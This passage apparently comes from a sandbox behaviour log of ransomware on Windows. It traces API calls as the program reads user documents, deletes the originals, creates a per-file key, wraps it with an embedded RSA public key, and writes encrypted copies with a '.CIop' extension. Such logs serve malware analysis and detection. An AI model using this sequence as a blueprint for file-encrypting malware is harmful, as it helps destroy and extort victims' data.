dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x6146e8) returned 1 [0089.419] CryptImportPublicKeyInfoEx (in: hCryptProv=0x6146e8, dwCertEncodingType=0x1, pInfo=0x5e6f78, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5d6088) returned 1 [0089.419] CryptEncrypt (in: hKey=0x5d6088, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0089.419] CryptEncrypt (in: hKey=0x5d6088, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x614770*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x614770*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0089.420] WriteFile (in: hFile=0x3bc, lpBuffer=0x614770*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x614770*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0089.420] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.421] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.421] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.421] CloseHandle (hObject=0x3bc) returned 1 [0089.423] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\JF6Z1xvDFv.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\jf6z1xvdfv.docx")) returned 0 Thread: id = 48 os_tid = 0xfb4 [0089.451] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.451] lstrcpyW (in: lpString1=0x2f0f368, lpString2="MI47.xlsx" | out: lpString1="MI47.xlsx") returned="MI47.xlsx" [0089.451] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.451] SetErrorMode (uMode=0x1) returned 0x1 [0089.451] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\MI47.xlsx") returned 45 [0089.451] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\MI47.xlsx", dwFileAttributes=0x20) returned 1 [0089.452] StrStrW (lpFirst="MI47.xlsx", lpSrch=".CIop") returned 0x0 [0089.452] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\MI47.xlsx.CIop") returned 50 [0089.452] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\MI47.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\mi47.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0089.453] ReadFile (in: hFile=0x3c8, lpBuffer=0x6155c0, nNumberOfBytesToRead=0x7f80, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6155c0*, lpNumberOfBytesRead=0x2f0e5e8*=0x7f80, lpOverlapped=0x0) returned 1 [0089.453] CloseHandle (hObject=0x3c8) returned 1 [0089.454] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\MI47.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\mi47.xlsx")) returned 1 [0089.455] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0089.455] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0089.455] SetErrorMode (uMode=0x1) returned 0x1 [0089.455] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x6147f8) returned 1 [0089.457] CryptGenKey (in: hProv=0x6147f8, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5d6188) returned 1 [0089.499] CryptExportKey (in: hKey=0x5d6188, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0089.499] CryptExportKey (in: hKey=0x5d6188, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0089.499] CryptDestroyKey (hKey=0x5d6188) returned 1 [0089.499] CryptReleaseContext (hProv=0x6147f8, dwFlags=0x0) returned 1 [0089.500] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\MI47.xlsx.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\mi47.xlsx.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0089.500] WriteFile (in: hFile=0x3d0, lpBuffer=0x6155c0*, nNumberOfBytesToWrite=0x7f80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6155c0*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7f80, lpOverlapped=0x0) returned 1 [0089.501] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x7f80 [0089.501] WriteFile (in: hFile=0x3d0, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0089.501] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x7f87 [0089.501] SetErrorMode (uMode=0x1) returned 0x1 [0089.501] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0089.501] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0089.501] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0089.501] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x615320) returned 1 [0089.501] CryptImportPublicKeyInfoEx (in: hCryptProv=0x615320, dwCertEncodingType=0x1, pInfo=0x5e7048, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5d6348) returned 1 [0089.502] CryptEncrypt (in: hKey=0x5d6348, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0089.502] CryptEncrypt (in: hKey=0x5d6348, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x614bb0*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x614bb0*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0089.502] WriteFile (in: hFile=0x3d0, lpBuffer=0x614bb0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x614bb0*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0089.502] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.503] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.503] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.503] CloseHandle (hObject=0x3d0) returned 1 [0089.504] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\MI47.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\mi47.xlsx")) returned 0 Thread: id = 49 os_tid = 0xfb8 [0089.505] lstrcpyA (in: lpString1=0x306e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.505] lstrcpyW (in: lpString1=0x306f368, lpString2="mlv6Gzv7Da-BgmdC.docx" | out: lpString1="mlv6Gzv7Da-BgmdC.docx") returned="mlv6Gzv7Da-BgmdC.docx" [0089.505] lstrcpyW (in: lpString1=0x306f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.505] SetErrorMode (uMode=0x1) returned 0x1 [0089.505] wsprintfW (in: param_1=0x306eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\mlv6Gzv7Da-BgmdC.docx") returned 57 [0089.505] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\mlv6Gzv7Da-BgmdC.docx", dwFileAttributes=0x20) returned 1 [0089.506] StrStrW (lpFirst="mlv6Gzv7Da-BgmdC.docx", lpSrch=".CIop") returned 0x0 [0089.506] wsprintfW (in: param_1=0x306e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\mlv6Gzv7Da-BgmdC.docx.CIop") returned 62 [0089.506] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\mlv6Gzv7Da-BgmdC.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\mlv6gzv7da-bgmdc.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0089.507] ReadFile (in: hFile=0x3bc, lpBuffer=0x6155c0, nNumberOfBytesToRead=0x10c47, lpNumberOfBytesRead=0x306e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6155c0*, lpNumberOfBytesRead=0x306e5e8*=0x10c47, lpOverlapped=0x0) returned 1 [0089.508] CloseHandle (hObject=0x3bc) returned 1 [0089.508] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\mlv6Gzv7Da-BgmdC.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\mlv6gzv7da-bgmdc.docx")) returned 1 [0089.510] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2dd0000 [0089.511] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2de0000 [0089.511] SetErrorMode (uMode=0x1) returned 0x1 [0089.511] CryptAcquireContextW (in: phProv=0x306e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x306e5b8*=0x6147f8) returned 1 [0089.513] CryptGenKey (in: hProv=0x6147f8, Algid=0x1, dwFlags=0x4000, phKey=0x306e5bc | out: phKey=0x306e5bc*=0x5d6188) returned 1 [0089.553] CryptExportKey (in: hKey=0x5d6188, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x306e5ec | out: pbData=0x0*, pdwDataLen=0x306e5ec*=0x94) returned 1 [0089.553] CryptExportKey (in: hKey=0x5d6188, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2de0000, pdwDataLen=0x306e5ec | out: pbData=0x2de0000*, pdwDataLen=0x306e5ec*=0x94) returned 1 [0089.553] CryptDestroyKey (hKey=0x5d6188) returned 1 [0089.553] CryptReleaseContext (hProv=0x6147f8, dwFlags=0x0) returned 1 [0089.554] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\mlv6Gzv7Da-BgmdC.docx.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\mlv6gzv7da-bgmdc.docx.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0089.555] WriteFile (in: hFile=0x3cc, lpBuffer=0x6155c0*, nNumberOfBytesToWrite=0x10c47, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6155c0*, lpNumberOfBytesWritten=0x306e5d8*=0x10c47, lpOverlapped=0x0) returned 1 [0089.556] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10c47 [0089.556] WriteFile (in: hFile=0x3cc, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x306e5d8*=0x7, lpOverlapped=0x0) returned 1 [0089.556] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10c4e [0089.556] SetErrorMode (uMode=0x1) returned 0x1 [0089.556] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0089.556] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x306d5b8, pcbBinary=0x306d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x306d5b8, pcbBinary=0x306d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0089.556] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x306d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x306d5a0, pcbStructInfo=0x306d598 | out: pvStructInfo=0x306d5a0, pcbStructInfo=0x306d598) returned 1 [0089.556] CryptAcquireContextW (in: phProv=0x306d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x306d5a8*=0x6147f8) returned 1 [0089.557] CryptImportPublicKeyInfoEx (in: hCryptProv=0x6147f8, dwCertEncodingType=0x1, pInfo=0x5e88a8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x306d5b0 | out: phKey=0x306d5b0*=0x5d6188) returned 1 [0089.557] CryptEncrypt (in: hKey=0x5d6188, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x306d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x306d5b4*=0x80) returned 1 [0089.557] CryptEncrypt (in: hKey=0x5d6188, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x614880*, pdwDataLen=0x306d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x614880*, pdwDataLen=0x306d5a4*=0x80) returned 1 [0089.557] WriteFile (in: hFile=0x3cc, lpBuffer=0x614880*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x614880*, lpNumberOfBytesWritten=0x306e5d8*=0x80, lpOverlapped=0x0) returned 1 [0089.557] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.558] VirtualFree (lpAddress=0x2dd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.558] VirtualFree (lpAddress=0x2de0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.558] CloseHandle (hObject=0x3cc) returned 1 [0089.575] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\mlv6Gzv7Da-BgmdC.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\mlv6gzv7da-bgmdc.docx")) returned 0 Thread: id = 50 os_tid = 0xfbc [0089.528] lstrcpyA (in: lpString1=0x31ae5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.528] lstrcpyW (in: lpString1=0x31af368, lpString2="nP0r3x5d.ods" | out: lpString1="nP0r3x5d.ods") returned="nP0r3x5d.ods" [0089.528] lstrcpyW (in: lpString1=0x31af768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.528] SetErrorMode (uMode=0x1) returned 0x1 [0089.528] wsprintfW (in: param_1=0x31aeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\nP0r3x5d.ods") returned 48 [0089.529] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\nP0r3x5d.ods", dwFileAttributes=0x20) returned 1 [0089.529] StrStrW (lpFirst="nP0r3x5d.ods", lpSrch=".CIop") returned 0x0 [0089.529] wsprintfW (in: param_1=0x31ae758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\nP0r3x5d.ods.CIop") returned 53 [0089.529] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\nP0r3x5d.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\np0r3x5d.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0089.529] ReadFile (in: hFile=0x3cc, lpBuffer=0x626210, nNumberOfBytesToRead=0x12e71, lpNumberOfBytesRead=0x31ae5e8, lpOverlapped=0x0 | out: lpBuffer=0x626210*, lpNumberOfBytesRead=0x31ae5e8*=0x12e71, lpOverlapped=0x0) returned 1 [0089.530] CloseHandle (hObject=0x3cc) returned 1 [0089.530] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\nP0r3x5d.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\np0r3x5d.ods")) returned 1 [0089.560] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2dd0000 [0089.560] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2de0000 [0089.561] SetErrorMode (uMode=0x1) returned 0x1 [0089.561] CryptAcquireContextW (in: phProv=0x31ae5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x31ae5b8*=0x614908) returned 1 [0089.563] CryptGenKey (in: hProv=0x614908, Algid=0x1, dwFlags=0x4000, phKey=0x31ae5bc | out: phKey=0x31ae5bc*=0x5d63c8) returned 1 [0089.602] CryptExportKey (in: hKey=0x5d63c8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x31ae5ec | out: pbData=0x0*, pdwDataLen=0x31ae5ec*=0x94) returned 1 [0089.602] CryptExportKey (in: hKey=0x5d63c8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2de0000, pdwDataLen=0x31ae5ec | out: pbData=0x2de0000*, pdwDataLen=0x31ae5ec*=0x94) returned 1 [0089.602] CryptDestroyKey (hKey=0x5d63c8) returned 1 [0089.602] CryptReleaseContext (hProv=0x614908, dwFlags=0x0) returned 1 [0089.603] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\nP0r3x5d.ods.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\np0r3x5d.ods.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0089.604] WriteFile (in: hFile=0x3d0, lpBuffer=0x626210*, nNumberOfBytesToWrite=0x12e71, lpNumberOfBytesWritten=0x31ae5d8, lpOverlapped=0x0 | out: lpBuffer=0x626210*, lpNumberOfBytesWritten=0x31ae5d8*=0x12e71, lpOverlapped=0x0) returned 1 [0089.606] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12e71 [0089.606] WriteFile (in: hFile=0x3d0, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x31ae5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x31ae5d8*=0x7, lpOverlapped=0x0) returned 1 [0089.606] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12e78 [0089.606] SetErrorMode (uMode=0x1) returned 0x1 [0089.606] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0089.606] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- 